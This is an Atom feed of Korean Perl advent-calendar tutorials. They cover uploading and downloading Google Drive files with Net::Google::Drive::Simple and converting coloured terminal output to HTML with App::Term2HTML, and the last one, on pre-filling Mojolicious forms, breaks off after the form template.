Seoul.pm Perl Advent Calendarhttp://advent.perl.kr/2015/2015-12-24T16:47:15+09:00Keedi KimXML::Atom::SimpleFeed구글 드라이브 API 이용하기http://advent.perl.kr/2015/2015-12-24.html<h2>저자</h2>
<p><a href="http://twitter.com/gypark">@gypark</a> - <a href="http://gypark.pe.kr">gypark.pe.kr</a>의 주인장.
홈페이지에 <a href="http://gypark.pe.kr/wiki/Perl">Perl에 대해 정리</a>해두는 취미가 있고, Raymundo라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p><a href="http://google.com">Google</a>에서 제공하는 클라우드 스토리지인
<a href="https://www.google.co.kr/intl/ko/drive/">Google Drive</a>에 펄을 이용하여 파일을 업로드하거나
다운로드하는 방법을 알아봅시다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Net::Google::Drive::Simple">CPAN의 Net::Google::Drive::Simple 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Net::Google::Drive::Simple
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Net::Google::Drive::Simple
</pre>
<h2>모듈 사용 준비하기</h2>
<p>이 모듈을 사용하는 것보다 이 모듈을 사용하기 위해 처음 준비하는 과정이 더 복잡합니다.
구글에 접속하여 OAuth 인증을 해야 하는데, 이 과정이 모듈 문서에 간단히 나와 있긴
합니다만 구글 웹페이지의 구성이 좀 바뀌었는지 중간중간에 문서의 내용과 실제 화면의
내용이 일치하지 않는 경우가 있습니다.</p>
<p>모듈 문서에서 알려주는 <a href="https://developers.google.com/drive/v2/web/enable-sdk">Google Developers</a> 페이지에 들어갑니다.
<strong>"Enable the Drive API"</strong> 아래에 있는 <strong>"Google Developers Console"</strong> 링크를 클릭합니다.</p>
<p><img src="2015-12-24-01_r.png" alt="image 1" id="image1" />
<em>그림 1.</em> (<a href="2015-12-24-01.png">원본</a>)</p>
<p>그러면 콘솔 화면이 나옵니다.
여기에서 <strong>"빈 프로젝트 생성"</strong>을 클릭합니다.</p>
<p><img src="2015-12-24-02_r.png" alt="image 2" id="image2" />
<em>그림 2.</em> (<a href="2015-12-24-02.png">원본</a>)</p>
<p><strong>"새 프로젝트"</strong> 창에서 프로젝트 이름을 적당히 지어주고 생성 버튼을 누릅니다.</p>
<p><img src="2015-12-24-03_r.png" alt="image 3" id="image3" />
<em>그림 3.</em> (<a href="2015-12-24-03.png">원본</a>)</p>
<p>프로젝트 화면이 나옵니다.
<strong>"Google API 사용"</strong> 박스를 클릭합니다.</p>
<p><img src="2015-12-24-04_r.png" alt="image 4" id="image4" />
<em>그림 4.</em> (<a href="2015-12-24-04.png">원본</a>)</p>
<p>API 목록에서 <strong>"Drive API"</strong>를 클릭합니다.</p>
<p><img src="2015-12-24-05_r.png" alt="image 5" id="image5" />
<em>그림 5.</em> (<a href="2015-12-24-05.png">원본</a>)</p>
<p><strong>"API 사용 설정"</strong> 버튼을 클릭합니다.</p>
<p><img src="2015-12-24-06_r.png" alt="image 6" id="image6" />
<em>그림 6.</em> (<a href="2015-12-24-06.png">원본</a>)</p>
<p><strong>"사용자 인증 정보로 이동"</strong> 버튼을 클릭합니다.</p>
<p><img src="2015-12-24-07_r.png" alt="image 7" id="image7" />
<em>그림 7.</em> (<a href="2015-12-24-07.png">원본</a>)</p>
<p>입력 필드가 두 개 나오고 첫 번째 필드는 이미 <strong>"Drive API"</strong>라고 정해져 있지만,
그래도 다시 클릭해서 <strong>"Drive API"</strong>를 선택해 줍니다.
(그래야 다음 과정으로 제대로 넘어가더군요.)</p>
<p><img src="2015-12-24-08_r.png" alt="image 8" id="image8" />
<em>그림 8.</em> (<a href="2015-12-24-08.png">원본</a>)</p>
<p>API를 호출할 위치는 <strong>"기타 UI(예: Windows, CLI도구)"</strong>,
액세스할 데이터는 <strong>"사용자 데이터"</strong>를 선택한 후
<strong>"어떤 사용자 인증 정보가 필요한가요?"</strong>를 클릭합니다.</p>
<p><img src="2015-12-24-09_r.png" alt="image 9" id="image9" />
<em>그림 9.</em> (<a href="2015-12-24-09.png">원본</a>)</p>
<p>OAuth 클라이언트 이름은 적당히 넣어주고
<strong>"클라이언트 ID 만들기"</strong> 버튼을 클릭합니다.</p>
<p><img src="2015-12-24-10_r.png" alt="image 10" id="image10" />
<em>그림 10.</em> (<a href="2015-12-24-10.png">원본</a>)</p>
<p>이메일 주소와 제품 이름을 넣고 <strong>"계속"</strong> 버튼을 클릭합니다.</p>
<p><img src="2015-12-24-11_r.png" alt="image 11" id="image11" />
<em>그림 11.</em> (<a href="2015-12-24-11.png">원본</a>)</p>
<p>제대로 Client ID가 생성되었으면 <strong>"완료"</strong> 버튼을 클릭합니다.
또는 여기서 <strong>"다운로드"</strong>를 클릭하여 JSON 형식으로 되어 있는
파일을 다운로드받아서 그 파일을 가지고 나머지 과정에서
이용할 수도 있습니다.</p>
<p><img src="2015-12-24-12_r.png" alt="image 12" id="image12" />
<em>그림 12.</em> (<a href="2015-12-24-12.png">원본</a>)</p>
<p>이제 사용자 인증 정보 화면에서 우리가 생성한 클라이언트가 보입니다.
클라이언트 이름(<em>그림 13</em>에서는 <strong>"기타 클라이언트 1"</strong>)에 있는 링크를
클릭해서 상세 정보 보기로 넘어갑니다.</p>
<p><img src="2015-12-24-13_r.png" alt="image 13" id="image13" />
<em>그림 13.</em> (<a href="2015-12-24-13.png">원본</a>)</p>
<p>상세 화면에서는 <strong>"클라이언트 ID"</strong>와, <strong>"클라이언트 보안 비밀"</strong>이라는
조금 이상하게 들리는 항목이 있습니다.
여기에 나온 값을 잠시 후에 사용하도록 하겠습니다.</p>
<p><img src="2015-12-24-14_r.png" alt="image 14" id="image14" />
<em>그림 14.</em> (<a href="2015-12-24-14.png">원본</a>)</p>
<p>이제
<a href="https://metacpan.org/pod/Net::Google::Drive::Simple">Net::Google::Drive::Simple 모듈 페이지</a>에
가서 좌측의 <strong>"Download"</strong>를 눌러서 모듈 소스를 내려받고, 압축을 풉니다.
모듈 소스 중에 <code>eg/google-drive-init</code> 파일을 편집합니다.</p>
<pre class="brush: bash;">
$ wget https://cpan.metacpan.org/authors/id/M/MS/MSCHILLI/Net-Google-Drive-Simple-0.12.tar.gz
$ tar zxvf Net-Google-Drive-Simple-0.12.tar.gz
$ cd Net-Google-Drive-Simple-0.12
$ vi eg/google-drive-init
</pre>
<p><code>google-drive-init</code> 파일에는 다음과 같은 부분이 있습니다.</p>
<pre class="brush: perl;">
#!/usr/local/bin/perl -w
...
my $oauth = OAuth::Cmdline::GoogleDrive->new(
client_id => "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
client_secret => "YYYYYYYYYYYYYYYYYYYYYYYY",
login_uri => "https://accounts.google.com/o/oauth2/auth",
token_uri => "https://accounts.google.com/o/oauth2/token",
scope => "https://www.googleapis.com/auth/drive",
access_type => "offline",
);
</pre>
<p>여기에 <code>client_id</code>의 <code>"XXX..."</code>는 우리가 앞에서 봤던 "클라이언트 ID"의 값을,
<code>client_secret</code>의 <code>"YYY..."</code>에는 "클라이언트 보안 비밀"의 값을
덮어쓴 후, 저장하고 종료합니다.
그 다음 이 스크립트를 실행합니다.</p>
<pre class="brush: bash;">
$ perl eg/google-drive-init
Server available at http://localhost:8082
</pre>
<p>간이 웹서버가 실행되었습니다.
웹 브라우저에서 <code>localhost:8082</code>에 접속하면 다음과 같은 화면이 나옵니다.</p>
<p><img src="2015-12-24-15_r.png" alt="image 15" id="image15" />
<em>그림 15.</em> (<a href="2015-12-24-15.png">원본</a>)</p>
<p><strong>"Login on google-drive"</strong> 링크를 클릭합니다.
구글 페이지가 뜨면서 우리가 등록한 클라이언트에게 권한을 줄 것인지 묻습니다.
<strong>"허용"</strong>을 클릭합니다.</p>
<p><img src="2015-12-24-16_r.png" alt="image 16" id="image16" />
<em>그림 16.</em> (<a href="2015-12-24-16.png">원본</a>)</p>
<p>다음과 같은 메시지가 나옵니다.</p>
<p><img src="2015-12-24-17_r.png" alt="image 17" id="image17" />
<em>그림 17.</em> (<a href="2015-12-24-17.png">원본</a>)</p>
<p>메시지에 나온 대로, 여러분의 홈 디렉토리에 <code>.google-drive.yml</code>이란 파일이
생성되어 있는 것을 확인할 수 있습니다. 파일의 내용은 다음과 같은 형태입니다.</p>
<pre class="brush: yaml;">
---
access_token: y**************************************************************************
client_id: 6**********-********************************.apps.googleusercontent.com
client_secret: B***********************
expires: 1450665467
refresh_token: 1*****************************************************************
token_uri: https://accounts.google.com/o/oauth2/token
</pre>
<p>구글 드라이브 API를 이용할 때는 이 파일의 정보를 사용하게 됩니다.
여기서 불편한 점은 API 모듈을 이용할 때 이 인증 정보 파일의 이름을 따로 지정해줄
수 없다는 점입니다. 따라서 여러 개의 아이디를 번갈아 쓴다거나 할 때는 설정 파일을
바꿔치기하는 등의 번거로운 작업이 필요한 것으로 보입니다.
어쨌거나 이렇게 해서 우리는 모듈을 사용할 준비를 마쳤습니다.</p>
<h2>모듈 사용 예</h2>
<h3>사전 준비 - 디렉토리 구성</h3>
<p>제 구글 드라이브는 텅 비어있는 상태였기 때문에,
먼저 웹 브라우저에서 적당히 폴더 계층 구조를 만들고 파일을 업로드하여
다음과 같이 구성했습니다.</p>
<pre class="brush: bash;">
/
|-- aaa.txt
`-- myfolder
|-- bbb.txt
|-- ccc.txt
`-- mysubfolder
`-- ddd.txt
</pre>
<p><img src="2015-12-24-18_r.png" alt="image 18" id="image18" />
<em>그림 18.</em> (<a href="2015-12-24-18.png">원본</a>)</p>
<h3>특정 폴더 안의 내용 보기</h3>
<p>먼저 루트 폴더에서 마치 <code>ls</code> 명령을 내린 것처럼 폴더의 내용을
살펴보도록 합시다.</p>
<pre class="brush: perl;">
use 5.010; # say 때문에
use Net::Google::Drive::Simple;
my $gd = Net::Google::Drive::Simple->new();
my $children = $gd->children("/");
foreach my $child ( @{$children} ) {
say "-"x70;
say "id: ", $child->id;
say "title: ", $child->title;
say "kind: ", $child->kind;
say "mimeType: ", $child->mimeType;
}
</pre>
<p><code>children()</code> 메소드는 인자로 받은 경로에 있는 파일과 폴더들의 목록을 반환합니다.
좀 더 정확히는, 파일과 폴더를 나타내는 객체들로 구성된 배열의 레퍼런스를 반환합니다.
위 코드의 출력은 다음과 같습니다.</p>
<pre class="brush: bash;">
$ perl ls.pl
----------------------------------------------------------------------
id: 0B60RyhgPqIKdYXk5eVo1Q0hLQVU
title: myfolder
kind: drive#file
mimeType: application/vnd.google-apps.folder
----------------------------------------------------------------------
id: 0B60RyhgPqIKdYVFyM1EzVGFTcG8
title: aaa.txt
kind: drive#file
mimeType: text/plain
</pre>
<p>저도 구글 드라이브 API에서 제공하는 항목들에 대해 다 알고 있는 게 아니라서,
여기서는 몇 가지 간단한 내용만 소개해드리도록 하겠습니다.
그 외에, 파일 객체의 속성들의 이름과 그 의미에 대해서는
<a href="https://developers.google.com/drive/v2/reference/files">Google Developers의 Files 문서</a>를 참고하세요.</p>
<ul>
<li>모든 파일과 폴더는 고유한 <code>id</code> 속성이 있습니다. 루트 폴더의 경우는
별개로 <code>root</code>라는 별칭을 ID로 쓸 수 있습니다.</li>
<li>파일과 폴더의 이름은 <code>title</code> 속성값으로 담겨 있습니다.</li>
<li><code>kind</code> 속성은 파일의 타입을 나타내는데... 현재는 언제나 <code>drive#file</code>로 고정되어 있습니다.</li>
<li><code>mimeType</code> 속성값은 폴더의 경우 언제나 <code>application/vnd.google-apps.folder</code>입니다.
파일의 경우는 <code>text/plain</code>, <code>application/vnd.openxmlformats-officedocument.spreadsheetml.sheet</code>
등 파일의 내용에 따라 달라집니다.</li>
</ul>
<p>따라서, 폴더의 내용물들 중에 어떤 게 파일이고 어떤 게 폴더인지
구분하려면 <code>mimeType</code> 속성의 값을 검사해야 합니다.
이것은 뭔가 불편해보이는군요.</p>
<h3>폴더를 제외한 전체 파일 목록 보기</h3>
<p>파일이 들어있는 폴더에 무관하게, 드라이브 내에 있는 모든 파일들의 목록을 살펴봅시다.
방금 전 코드에서 <code>children()</code> 대신 <code>files()</code> 메소드를 씁니다.</p>
<pre class="brush: perl;">
my $children = $gd->files();
</pre>
<p>출력은 다음과 같습니다.
업로드했던 파일 네 개 모두가 보입니다.</p>
<pre class="brush: bash;">
$ perl filelist.pl
----------------------------------------------------------------------
id: 0B60RyhgPqIKdUEVDYnZXaDBvX00
title: ddd.txt
kind: drive#file
mimeType: text/plain
----------------------------------------------------------------------
id: 0B60RyhgPqIKdaHVhN1Zlc1Y4OFU
title: bbb.txt
kind: drive#file
mimeType: text/plain
----------------------------------------------------------------------
id: 0B60RyhgPqIKdUF90ZlZ4dHExeDg
title: ccc.txt
kind: drive#file
mimeType: text/plain
----------------------------------------------------------------------
id: 0B60RyhgPqIKdYVFyM1EzVGFTcG8
title: aaa.txt
kind: drive#file
mimeType: text/plain
</pre>
<h3>특정한 파일을 다운로드하기</h3>
<p><code>myfolder/bbb.txt</code> 파일을 다운로드해 봅시다.
그런데 별 거 아닌 것 같은데, 막상 하려면 방법이 없습니다.</p>
<pre class="brush: perl;">
# 이렇게 경로를 지정하여 다운로드할 메소드가 없음
$gd->download( '/myfolder/bbb.txt' );
</pre>
<p><code>download()</code> 메소드가 있긴 하지만, 이 메소드의 인자는
<code>children()</code>이나 <code>files()</code>로 얻어낸 파일 객체 레퍼런스이거나,
그 객체에 대해 <code>downloadUrl()</code> 메소드를 호출하여 얻은 URL이어야 합니다.
따라서 일단 상위 폴더의 내용물 목록을 얻고,
거기에서 원하는 파일을 찾은 후 다운로드해야 합니다.</p>
<pre class="brush: perl;">
my $children = $gd->children( '/myfolder' );
my @files = grep { $_->title eq 'bbb.txt' } @{$children};
unless ( @files ) {
say "not found";
exit;
}
$gd->download( $files[0], './bbb.txt' );
</pre>
<p>이 코드를 실행하고 현재 작업 디렉토리를 보면
<code>bbb.txt</code> 파일이 짠 하고 생겨난 것을 알 수 있습니다.</p>
<h3>폴더를 생성하기</h3>
<p><code>/myfolder</code> 아래에 <code>newfolder</code>를 만들어봅시다.
다운로드의 경우와 마찬가지로, <code>mkdir('/myfolder/newfolder')</code>와 같은 메소드는 없습니다.
폴더를 만들려면 <code>folder_create()</code> 메소드를 사용하는데, 이 때
그 폴더가 위치할 상위 폴더의 ID를 먼저 알아낸 후 인자로 주어야 합니다.
그런데 상위 폴더의 ID를 알아내려면 다시 한 단계 더 위의 폴더에 대해서
<code>children</code> 메소드를 호출한 후 반환된 목록에서 찾아봐야 하느냐...하면 다행히 그건 아닙니다.
<code>children</code> 메소드는 두 번째 반환값으로 인자로 받은 경로의 ID를 반환해줍니다.
이 값을 사용하면 됩니다.</p>
<pre class="brush: perl;">
my ($children, $parent_id) = $gd->children( '/myfolder' );
# 이제 $parent_id 에는 '/myfolder'의 ID가 들어 있음
my $new_folder_id = $gd->folder_create( 'new2folder', $parent_id );
</pre>
<p>위 코드를 실행한 후 브라우저에서 확인해보면 <code>myfolder</code> 아래에 <code>newfolder</code>가
생긴 것을 볼 수 있습니다.</p>
<p><img src="2015-12-24-19_r.png" alt="image 19" id="image19" />
<em>그림 19.</em> (<a href="2015-12-24-19.png">원본</a>)</p>
<h3>파일을 업로드하기</h3>
<p>폴더를 생성할 때와 비슷합니다.
파일이 위치할 폴더의 ID를 먼저 알아낸 후에, <code>file_upload()</code> 메소드에
업로드할 로컬 파일의 경로와 폴더ID를 인자로 줍니다.</p>
<pre class="brush: perl;">
my ($children, $parent_id) = $gd->children( '/myfolder' );
# 이제 $parent_id 에는 '/myfolder'의 ID가 들어 있음
my $new_file_id = $gd->file_upload( 'file.txt', $parent_id );
</pre>
<p><img src="2015-12-24-20_r.png" alt="image 20" id="image20" />
<em>그림 20.</em> (<a href="2015-12-24-20.png">원본</a>)</p>
<h2>정리하며</h2>
<p>이 모듈에는 이 외에도 파일을 지우는 메소드와, 제목/내용/작성자 등의
여러 조건을 가지고 파일을 검색하는 메소드가 있습니다.
자세한 것은 <a href="https://metacpan.org/pod/Net::Google::Drive::Simple">모듈 문서</a>와
<a href="https://developers.google.com/drive/v2/web/search-parameters">검색에 대한 구글 API문서</a>를 참고하세요.
앞서 말했듯이 인증 정보가 들어있는 yml 파일을 실행 시점에
지정해 줄 수 없다는 불편한 점이 있고, 디렉토리 구조를 탐색하거나
파일, 폴더를 생성하는 절차가 조금 복잡하긴 합니다.
그러나 파일을 업로드, 다운로드하는 간단한 스크립트를
만들 때는 유용하게 쓸 수 있습니다.
제 경우는 홈페이지의 데이터를 하루에 한 번씩 백업하여 저장하는
스크립트를 만들어 쓰고 있는데 아주 잘 동작하고 있답니다. :)</p>
<p>Merry Christmas~!! ;-)</p>
2015-12-24T00:00:00+09:00gypark알록달록 터미널을 갈무리하기http://advent.perl.kr/2015/2015-12-23.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>흑백 모니터를 사용하고, <a href="https://en.wikipedia.org/wiki/VT100">VT100</a>을 사용하거나,
<a href="https://en.wikipedia.org/wiki/ANSI_escape_code">ANSI 제어 문자</a>를 제대로 쓰지도 못하던 먼 옛날과는 달리
알록달록한 칼라 모니터와 칼라 터미널은 너무도 당연한 시대입니다.
Full-HD를 넘어 U-HD까지 지원하는 모니터가 나오는 시대에 칼라 터미널이라니
너무 시대에 동떨어진 이야기를 했나요? :-)
터미널에서 우리가 보는 알록달록한 색깔은 대부분의 경우
<a href="https://en.wikipedia.org/wiki/ANSI_escape_code#Colors">ANSI 제어 문자를 이용한 색상 표현</a> 입니다.
터미널이란 것 자체에 워낙 기대를 하지 않고 보아서 그런지는 몰라도
이 터미널이란 화면 안에 알록달록하게 색상이 표시되면 그 아름다움(?)에
가끔 넋이 나가기도 합니다. (저만 그런가요? :)
이 터미널의 화면을 긁어서 누군가에게 보여주고 싶다는 생각을 해본적이 있나요?
하지만 긁어서 복사하는 순간 그것은 단지 단순한 텍스트가 될 뿐입니다.
터미널을 누군가에게 보여주어야 하는 순간이 온다면
결국 화면 갈무리를해서 그림 파일로 저장해야했죠.
이 알록달록한 화면을 갈무리하는 방법은 과연 없을까요?</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/App::Term2HTML">CPAN의 App::Term2HTML 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan App::Term2HTML
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan App::Term2HTML
</pre>
<h2 id="term2html">term2html</h2>
<p>우선 <code>grep</code> 명령을 이용해 터미널에 ANSI 색상을 가진 문자열을 출력해보죠.</p>
<pre class="brush: plain;">
$ grep --color -r color ~/.bashrc
</pre>
<p><code>~/.bashrc</code> 파일에서 <code>color</code>라는 문자열이 포함된 구문을 검색하고
일치한 문자는 색상 강조를 이용해 화면에 표시하게 하는 것이죠.</p>
<p><img src="2015-12-23-01_r.png" alt="grep" id="grep" />
<em>그림 1.</em> grep --color (<a href="2015-12-23-01.png">원본</a>)</p>
<p><code>App::Term2HTML</code> 모듈은 명령줄에서 간단히 실행할 수 있는 <code>term2html</code> 명령을 제공합니다.
이 모듈과 명령이 어떤 원리로 어떻게 동작하는지는 차치하고, 사용방법을 알아보죠.</p>
<pre class="brush: plain;">
$ grep --color -r color ~/.bashrc | term2html
</pre>
<p>으앗. 복잡한 문자열이 출력되는군요.</p>
<p><img src="2015-12-23-02_r.png" alt="grep-term2html" id="grep-term2html" />
<em>그림 2.</em> grep --color | term2html (<a href="2015-12-23-02.png">원본</a>)</p>
<p>조금 유심히 결과물을 살펴보면 간단한 HTML임을 알 수 있습니다.
아하! 그렇다면 결과물은 재지향을 통해 파일로 저장한 다음 브라우저에서 보면 되겠죠?</p>
<pre class="brush: plain;">
$ grep --color -r color ~/.bashrc | term2html > grep-result.html
$ firefox grep-result.html
</pre>
<p><img src="2015-12-23-03_r.png" alt="grep-term2html-firefox" id="grep-term2html-firefox" />
<em>그림 3.</em> grep --color | term2html > firefox (<a href="2015-12-23-03.png">원본</a>)</p>
<p>흐음. 뭔가 복잡한 HTML을 출력한 것 치고는 결과가 심심하네요.
터미널로 볼때는 분명히 색상이 들어있었는데 막상 브라우저에서
보니까 터미널을 긁어서 복사해 붙여넣은 것과 전혀 차이가 없는걸요.</p>
<p>이것은 대부분의 유명한 리눅스 유틸리티를이 너무 똑똑하기 때문입니다.
즉, 사용자가 색상 옵션을 사용해서 터미널로 출력할 경우
결과물에 ANSI 색상 코드를 추가해 알록달록하게 표기하는 반면,
재지향을 한다거나 파이프를 통해 다른 프로세스에게 넘겨줄 경우
이를 감지해서 불필요한 ANSI 색상 코드를 추가하지 않기 때문입니다.
사람에게 바로 보여줄 경우를 제외하고 ANSI 색상 코드 그 자체는
매우 복잡한 제어 문자열이기 때문입니다.
그렇다면 우리는 <code>grep</code>에게 강제로 색상을 출력하도록 명령해야겠죠?</p>
<pre class="brush: plain;">
$ grep --color=always -r color ~/.bashrc | term2html > grep-result.html
$ firefox grep-result.html
</pre>
<p><code>--color=always</code> 옵션을 사용하면 <code>grep</code>으로 하여금 똑똑하게 표준 출력의
상태를 확인하지 말고 그냥 강제로 색상을 출력하도록 지시합니다.</p>
<p><img src="2015-12-23-04_r.png" alt="grep-color-term2html-firefox" id="grep-color-term2html-firefox" />
<em>그림 4.</em> grep --color=always | term2html > firefox (<a href="2015-12-23-04.png">원본</a>)</p>
<p>짜잔! 이제 원하는대로 색상이 잘 나타나는군요.
<code>grep</code>의 명령 결과를 브라우저로 본 소감이 어떤가요?
브라우저에서 추가로 검색을 한더가나, 가공을 한다거나, 등등
여러가지 작업이 가능하겠죠?</p>
<h2>크리스마스 선물 #1: 한글</h2>
<p>이번에는 <code>ls</code>의 결과물을 살펴볼까요?
<code>ls</code> 역시 <code>grep</code>과 마찬가지로 <code>--color=always</code> 옵션을 사용하면
강제로 ANSI 색상 코드를 출력할 수 있답니다.</p>
<pre class="brush: plain;">
$ ls -l --color=always ~ | term2html > ls-result.html
$ firefox ls-result.html
</pre>
<p>마찬가지로 브라우저로 결과를 살펴보죠.</p>
<p><img src="2015-12-23-05_r.png" alt="ls-color-term2html-firefox" id="ls-color-term2html-firefox" />
<em>그림 5.</em> ls --color=always | term2html > firefox (<a href="2015-12-23-05.png">원본</a>)</p>
<p>아니! 한글이 죄다 깨지는군요.
이는 <code>App::Term2HTML</code> 모듈이 아직까지는 인코딩을 고려하지 못해서 생기는 문제입니다.
해결하는 방법은 간단하니 걱정하지 마세요.
<code>my-term2html.pl</code> 파일을 만들어서 다음 내용을 저장합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
use App::Term2HTML;
binmode STDIN, ':encoding(UTF-8)';
App::Term2HTML->run(@ARGV);
</pre>
<p>이제는 <code>term2html</code> 대신 <code>my-term2html.pl</code>을 사용하면 됩니다.</p>
<pre class="brush: plain;">
$ ls -l --color=always ~ | perl my-term2html.pl > ls-result.html
$ firefox ls-result.html
</pre>
<p>실행 권한을 준다거나, 적절한 <code>PATH</code> 변수 환경 설정을 하는 것은
여러분의 취향에 맞게 선택하면 됩니다.
어때요? 간단하죠?</p>
<p><img src="2015-12-23-06_r.png" alt="크리스마스 선물 #1 - 한글" id="" />
<em>그림 6.</em> 크리스마스 선물 #1: 한글 (<a href="2015-12-23-06.png">원본</a>)</p>
<p>이제 한글 출력도 문제 없죠? :)</p>
<h2>크리스마스 선물 #2: 터미널 배경과 전경</h2>
<p>저는 보통 터미널 배경을 검게, 글꼴을 희게 설정해서 사용한답니다.
어머님께서 사주셨던 생애 첫 컴퓨터였던 8088 XT 장비의 모니터 색상과 똑같아
이 색상의 터미널을 쓸 때마다 절 설레게 했던 초등학교 때 시절이 생각나거든요. :)
각설하고, 지금은 ANSI 색상 코드로 출력되는 결과물은 색상이 입혀져 있는데
터미널 바탕화면과 기본 글씨에 대한 색상이 흰색과 검은색으로 고정되어 있네요.
이를 원하는대로 바꾸면 좀 더 터미널 결과물 같겠죠?
이전에 만든 <code>my-term2html.pl</code>을 조금만 수정해볼게요.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
use App::Term2HTML;
print "<style>pre { background: black; color: white }</style>\n";
binmode STDIN, ':encoding(UTF-8)';
App::Term2HTML->run(@ARGV);
</pre>
<p>간단한 CSS 코드를 추가했는데, 대신 명령줄 옵션으로 처리한다면 좀 더 확장성이 좋겠죠?
실행 결과를 살펴볼까요?</p>
<p><img src="2015-12-23-07_r.png" alt="크리스마스 선물 #2 - 터미널 배경과 전경" id="" />
<em>그림 7.</em> 크리스마스 선물 #2: 터미널 배경과 전경 (<a href="2015-12-23-07.png">원본</a>)</p>
<p>완벽하군요!</p>
<h2>정리하며</h2>
<p>터미널의 알록달록한 화면을 화면 갈무리로는 부족할 때, <code>App::Term2HTML</code>
모듈을 사용하면 간단히 재사용 가능하며 미려한 결과물을 확보할 수 있습니다.
터미널은 단순해서 불편하지만, 또 그렇기 때문에 묘한 매력이 있습니다.
최첨단을 달리는 이 시대에도 여전히 프로그래머는 터미널을 쓴다는 것은
많은 것을 반증하는 결과라고 생각합니다.
여전히 이 세상에 산재해 있을 터미널 덕ㅎ.. 아니 해커들에게 유용하길 바래봅니다. :)</p>
<p>Enjoy Your Perl! ;-)</p>
<p><em>EOT</em></p>
2015-12-23T00:00:00+09:00keediMojolicious - 폼의 필드를 자동으로 채워넣기http://advent.perl.kr/2015/2015-12-22.html<h2>저자</h2>
<p><a href="http://twitter.com/gypark">@gypark</a> - <a href="http://gypark.pe.kr">gypark.pe.kr</a>의 주인장.
홈페이지에 <a href="http://gypark.pe.kr/wiki/Perl">Perl에 대해 정리</a>해두는 취미가 있고, Raymundo라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p>웹 페이지에서 폼을 띄워서 사용자에게 입력을 받을 때,
폼의 여러 입력 필드에 미리 어떤 값을 채워둔 상태로 두고 그 상태에서
사용자가 제출 버튼을 누르면 그 값이 전송되도록 하고 싶을 때가 있습니다.
일종의 디폴트 값인 셈입니다.
예를 들자면, 사용자의 정보 수정 폼에서는 기존 정보(전화번호나 주소)를
미리 채워넣고, 달라진 게 있는 항목만 사용자가 수정하도록 할 수 있을 겁니다.
또는, 사용자가 입력한 내용 중에 잘못된 값이 있어서 폼을 다시 작성하도록 해야 하는데,
제대로 넣은 값들까지도 전부 새로 넣으라면 사용자가 화를 낼 테니
미리 채워넣어 주는 게 좋을 것입니다.
<a href="http://mojolicio.us/">Mojolicious</a>를 이용하여 만드는 웹 페이지에서 이렇게 폼의
필드를 채워넣는 작업을 자동으로 하는 방법에 대해 알아봅시다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
<li><a href="https://metacpan.org/pod/Mojolicious::Plugin::FillInFormLite">CPAN의 Mojolicious::Plugin::FillInFormLite 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Mojolicious \
Mojolicious::Plugin::FillInFormLite
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Mojolicious \
Mojolicious::Plugin::FillInFormLite
</pre>
<h2>시작</h2>
<p>Mojolicious에 대한 소개는 그동안 크리스마스 달력에서도 여러 번 나왔기 때문에,
모듈을 설치하고 라이트 앱을 만들어 띄우는 부분은 생략하겠습니다.</p>
<p>일단 간단한 폼을 만들어 봅시다.
<code>myapp.pl</code>(또는 여러분이 앱을 생성할 때 사용한 이름) 파일의 <code>__DATA__</code> 섹션에 있는
<code>index.html.ep</code> 템플릿을 수정하여 폼을 집어넣습니다.</p>
<pre class="brush: xml;">
@@ index.html.ep
% layout 'default';
% title 'Welcome';
<h1>간단한 폼</h1>
<form action="/formtest" method="POST" enctype="multipart/form-data">
<p>
<label>이름:</label>
<input type="text" name="name" />
</p>
<p>
<label>전화번호:</label>
<input type="text" name="phone" />
</p>
<p>
<label>취미:</label>
<input type="checkbox" name="hobby" value="twiiter" />트위터
<input type="checkbox" name="hobby" value="comic" />만화
<input type="checkbox" name="hobby" value="ani" />애니메이션
<input type="checkbox" name="hobby" value="gundam" />건담
</p>
<p>
<label>사용 언어:</label>
<input type="radio" name="language" value="korean" />한국어
<input type="radio" name="language" value="latin" />라틴어
<input type="radio" name="language" value="esperanto" />에스페란토
<input type="radio" name="language" value="alien" />외계어
</p>
<p>
<input type="submit" />
</p>
</form>
</pre>
